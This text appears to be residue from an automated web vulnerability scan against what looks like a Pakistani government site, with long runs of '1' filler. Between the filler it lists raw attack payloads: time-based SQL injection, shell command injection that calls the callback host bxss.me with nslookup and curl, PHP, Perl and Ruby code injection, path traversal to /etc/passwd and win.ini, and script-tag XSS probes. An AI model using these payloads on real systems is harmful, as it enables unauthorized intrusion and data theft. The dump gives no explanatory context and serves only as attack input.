1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1&n959337=v942584
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
)
http://bxss.me/t/fit.txt?.jpg
1
1
1
/etc/shells
!(()&&!|*|*|
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
https://dpmis.punjab.gov.pk/
1
1
1
1
https://redirtest.acx/
1
1'&&sleep(27*1000)*afsedb&&'
1
1
1
1
dpmis.punjab.gov.pk
1"&&sleep(27*1000)*klgyem&&"
1
1
1
1
redirtest.acx
1
1
1'||sleep(27*1000)*bfcftr||'
1
1
1
1
1
1"||sleep(27*1000)*sjulfw||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitsq'.'smqnaetz12fd7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(74).chr(109).chr(87).'
1
1
1
1
1
".gethostbyname(lc("hitpq"."tqcypqpc017ea.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(72).chr(97).chr(78)."
1
1
1
1
1
1
gethostbyname(lc('hitkr'.'rtgkgfxx4065c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(90).chr(107).chr(82)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(106).concat(82).concat(99).concat(74)+(require"socket" Socket.gethostbyname("hitpz"+"rgrnzxrzb1ec9.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(104).concat(76).concat(107).concat(70)+(require'socket' Socket.gethostbyname('hiths'+'vxtdjowl65168.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(122).concat(90).concat(117).concat(89)+(require'socket' Socket.gethostbyname('hitap'+'qcytjuzpbf1b2.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
create
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >vCjt(9769)</ScRiPt>
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >vCjt(9404)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
19075936
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9825525*9443577)
1
1
1
1
'+response.write(9825525*9443577)+'
1
1
1
1
1LZfHzrYO
1
1
1
1
1
1
1
"+response.write(9825525*9443577)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
5CFkdJMv
1
1
1
1
1
m5EFJYJy: WZ72Ku6n
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo jaldbs$()\ xkckco\nz^xyu||a #' &echo jaldbs$()\ xkckco\nz^xyu||a #|" &echo jaldbs$()\ xkckco\nz^xyu||a #
1
1
1
1
1
&echo vgnurf$()\ cwfjwu\nz^xyu||a #' &echo vgnurf$()\ cwfjwu\nz^xyu||a #|" &echo vgnurf$()\ cwfjwu\nz^xyu||a #
1
1
1
1
1
1&echo namusu$()\ dzyunz\nz^xyu||a #' &echo namusu$()\ dzyunz\nz^xyu||a #|" &echo namusu$()\ dzyunz\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1
1
1
|echo muplkm$()\ feozci\nz^xyu||a #' |echo muplkm$()\ feozci\nz^xyu||a #|" |echo muplkm$()\ feozci\nz^xyu||a #
1
1
1
1
1|echo gnfbat$()\ guvsne\nz^xyu||a #' |echo gnfbat$()\ guvsne\nz^xyu||a #|" |echo gnfbat$()\ guvsne\nz^xyu||a #
1
1
1
1
(nslookup -q=cname hitsochicwmzq8eb3e.bxss.me||curl hitsochicwmzq8eb3e.bxss.me))
1
1
1
1
1
1
1
1
1
1
1
1
$(nslookup -q=cname hitcmgjxtcktr2ea14.bxss.me||curl hitcmgjxtcktr2ea14.bxss.me)
1
1
1
&nslookup -q=cname hitdlhtpsghzv168e5.bxss.me&'\"`0&nslookup -q=cname hitdlhtpsghzv168e5.bxss.me&`'
1
1
1
1
1
1
1
1
1
1
1
1
&(nslookup -q=cname hitovemlactcg01ade.bxss.me||curl hitovemlactcg01ade.bxss.me)&'\"`0&(nslookup -q=cname hitovemlactcg01ade.bxss.me||curl hitovemlactcg01ade.bxss.me)&`'
1
1
|(nslookup -q=cname hitclqplixygr983ea.bxss.me||curl hitclqplixygr983ea.bxss.me)
1
1
1
1
1
`(nslookup -q=cname hitwqulwjdryy1b7ee.bxss.me||curl hitwqulwjdryy1b7ee.bxss.me)`
1
1
1
;(nslookup -q=cname hitxczzkyymlga1421.bxss.me||curl hitxczzkyymlga1421.bxss.me)|(nslookup -q=cname hitxczzkyymlga1421.bxss.me||curl hitxczzkyymlga1421.bxss.me)&(nslookup -q=cname hitxczzkyymlga1421.b
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitfmmvfyxpqy1a21d.bxss.me||curl${IFS}hitfmmvfyxpqy1a21d.bxss.me)
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
file:///etc/passwd
&(nslookup${IFS}-q${IFS}cname${IFS}hitdshovemknrc3c98.bxss.me||curl${IFS}hitdshovemknrc3c98.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdshovemknrc3c98.bxss.me||curl${IFS}hitdshovemknrc3c98.bx
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1SPxlKEmR
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+323-323-1=0+0+0+1 --
12345'"\'\");|]* { < >
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
-1 OR 2+856-856-1=0+0+0+1
1
1
1
-1' OR 2+811-811-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1' OR 2+470-470-1=0+0+0+1 or 'W5B0KWY5'='
1
1
1
-1" OR 2+727-727-1=0+0+0+1 --
1
1
1
1
${10000373+9999418}
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1-1 waitfor delay '0:0:15' --
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1&n915087=v973917
Http://bxss.me/t/fit.txt
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1C8EcpatY'; waitfor delay '0:0:15' --
1
/etc/shells
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
bxss.me
1
1-1 OR 915=(SELECT 915 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1) OR 916=(SELECT 916 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1-1)) OR 522=(SELECT 522 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1WqvBEfsT' OR 520=(SELECT 520 FROM PG_SLEEP(15))--
1
1
1
1
1
)
1
1
1
1
1
!(()&&!|*|*|
1
1VLROHOQr') OR 262=(SELECT 262 FROM PG_SLEEP(15))--
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1AH4nNcv0')) OR 195=(SELECT 195 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@VPdmm
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
https://dpmis.punjab.gov.pk/
1
1
1
https://redirtest.acx/
1
1
1
1
1
1
dpmis.punjab.gov.pk
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitns'.'xrqumyij0a7af.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(81).chr(102).chr(87).'
1
1
1
1
1
".gethostbyname(lc("hited"."opbydubi0bfaa.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(69).chr(110).chr(78)."
1
1
1
gethostbyname(lc('hituk'.'nxwyqeul1af9f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(70).chr(117).chr(76)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1'&&sleep(27*1000)*iyzgqk&&'
1
1
1
1
1
1
1
1"&&sleep(27*1000)*ywdmdy&&"
1
1
1
1
1'||sleep(27*1000)*vhlcsp||'
1
1
1
1
1
1"||sleep(27*1000)*icenvd||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(116).concat(90).concat(120).concat(84)+(require"socket" Socket.gethostbyname("hitfi"+"nzstxzvx57a82.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(117).concat(77).concat(108).concat(79)+(require'socket' Socket.gethostbyname('hitye'+'taoaohukd4325.bxss.me.')[3].to_s)+'
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(104).concat(65).concat(100).concat(80)+(require'socket' Socket.gethostbyname('hitrg'+'isaozjiz2a176.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
create
1
1
1
1
1
create
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >tW2o(9306)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >tW2o(9431)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19279099
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9339729*9051357)
1
1
1
'+response.write(9339729*9051357)+'
1
1
1
1
1
"+response.write(9339729*9051357)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
3681JLtw
1
ZCG6mDSA: na4mt5Ac
echo ifoebr$()\ eydqlb\nz^xyu||a #' &echo ifoebr$()\ eydqlb\nz^xyu||a #|" &echo ifoebr$()\ eydqlb\nz^xyu||a #
1
1
1
1
1
&echo arxtbt$()\ rhochm\nz^xyu||a #' &echo arxtbt$()\ rhochm\nz^xyu||a #|" &echo arxtbt$()\ rhochm\nz^xyu||a #
1
1
1
1
1&echo znsudu$()\ jvtwml\nz^xyu||a #' &echo znsudu$()\ jvtwml\nz^xyu||a #|" &echo znsudu$()\ jvtwml\nz^xyu||a #
1
1
1
1
1
1
|echo rlwuyp$()\ drrscx\nz^xyu||a #' |echo rlwuyp$()\ drrscx\nz^xyu||a #|" |echo rlwuyp$()\ drrscx\nz^xyu||a #
1
1
1
1|echo qwqsmw$()\ mqhegn\nz^xyu||a #' |echo qwqsmw$()\ mqhegn\nz^xyu||a #|" |echo qwqsmw$()\ mqhegn\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
(nslookup -q=cname hitgzomyauahz58cff.bxss.me||curl hitgzomyauahz58cff.bxss.me))
1
1
1
$(nslookup -q=cname hittnxxeqjwkp65713.bxss.me||curl hittnxxeqjwkp65713.bxss.me)
1
1
1
1
1
1
1
&nslookup -q=cname hiticjkhpbvcub44cf.bxss.me&'\"`0&nslookup -q=cname hiticjkhpbvcub44cf.bxss.me&`'
1
1
1
&(nslookup -q=cname hitoqrtkcpyso030ba.bxss.me||curl hitoqrtkcpyso030ba.bxss.me)&'\"`0&(nslookup -q=cname hitoqrtkcpyso030ba.bxss.me||curl hitoqrtkcpyso030ba.bxss.me)&`'
1
1
1
1
|(nslookup -q=cname hitgkycrpsdca94c6d.bxss.me||curl hitgkycrpsdca94c6d.bxss.me)
1
1
1
`(nslookup -q=cname hitrcdggnkllze1f0f.bxss.me||curl hitrcdggnkllze1f0f.bxss.me)`
1
1
1
1
;(nslookup -q=cname hitmvajqovdwy0973f.bxss.me||curl hitmvajqovdwy0973f.bxss.me)|(nslookup -q=cname hitmvajqovdwy0973f.bxss.me||curl hitmvajqovdwy0973f.bxss.me)&(nslookup -q=cname hitmvajqovdwy0973f.b
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitiijxfkcxbm52873.bxss.me||curl${IFS}hitiijxfkcxbm52873.bxss.me)
1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hithtpbwcgmyndd97e.bxss.me||curl${IFS}hithtpbwcgmyndd97e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hithtpbwcgmyndd97e.bxss.me||curl${IFS}hithtpbwcgmyndd97e.bx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1AHEo5ysN
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+74-74-1=0+0+0+1 --
1
1
1
${9999854+9999101}
-1 OR 2+783-783-1=0+0+0+1
1
1
1
1
1
-1' OR 2+950-950-1=0+0+0+1 --
1
1
1
1
1
1
1
1
-1' OR 2+320-320-1=0+0+0+1 or 'kxYH1Pby'='
1
1
1
1
1
1
1
-1" OR 2+90-90-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
/etc/shells
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
c:/windows/win.ini
1
1&n968964=v909857
1
1
1
1
bxss.me
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1LKM9QNbR'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 OR 770=(SELECT 770 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1) OR 16=(SELECT 16 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1-1)) OR 296=(SELECT 296 FROM PG_SLEEP(15))--
1
!(()&&!|*|*|
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1SjNdEhQu' OR 865=(SELECT 865 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1cQP5np6a') OR 327=(SELECT 327 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1W1OxfCK1')) OR 881=(SELECT 881 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
https://dpmis.punjab.gov.pk/
1
1
1
https://redirtest.acx/
1
1
1
dpmis.punjab.gov.pk
1
1
1
1
redirtest.acx
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1'&&sleep(27*1000)*ptbexa&&'
1
@@l0QwL
1
1
1
1
1"&&sleep(27*1000)*zmatml&&"
1
1
1
1
1
1
1'||sleep(27*1000)*zhskum||'
1
1
1
1
1
1
1"||sleep(27*1000)*edxnck||"
1
1
1
1
1
1
1
1
1
1
1
1
1eOjO87pt
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+950-950-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
-1 OR 2+797-797-1=0+0+0+1
1
1
1
1
1
1
1
1
-1' OR 2+422-422-1=0+0+0+1 --
1
1
1
1
1
-1' OR 2+467-467-1=0+0+0+1 or 'rFePJ2NZ'='
1
1
1
1
1
1
1
-1" OR 2+499-499-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitdi'.'jrlbsrhvb3790.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(68).chr(100).chr(87).'
1
1
1
1
".gethostbyname(lc("hitnc"."bzcaestlf6bd1.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(72).chr(100).chr(76)."
1
1
1
1-1; waitfor delay '0:0:15' --
gethostbyname(lc('hitrb'.'nfuqpehxc80d7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(65).chr(106).chr(85)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1Qu3ODs2e'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 OR 533=(SELECT 533 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1) OR 630=(SELECT 630 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1)) OR 526=(SELECT 526 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1IZHAKtQu' OR 613=(SELECT 613 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1zcJjIa2Z') OR 219=(SELECT 219 FROM PG_SLEEP(15))--
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1P59T81no')) OR 34=(SELECT 34 FROM PG_SLEEP(15))--
1
1
${@print(md5(31337))}
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
'.print(md5(31337)).'
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
1
1
1
1
@@s8dQE
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
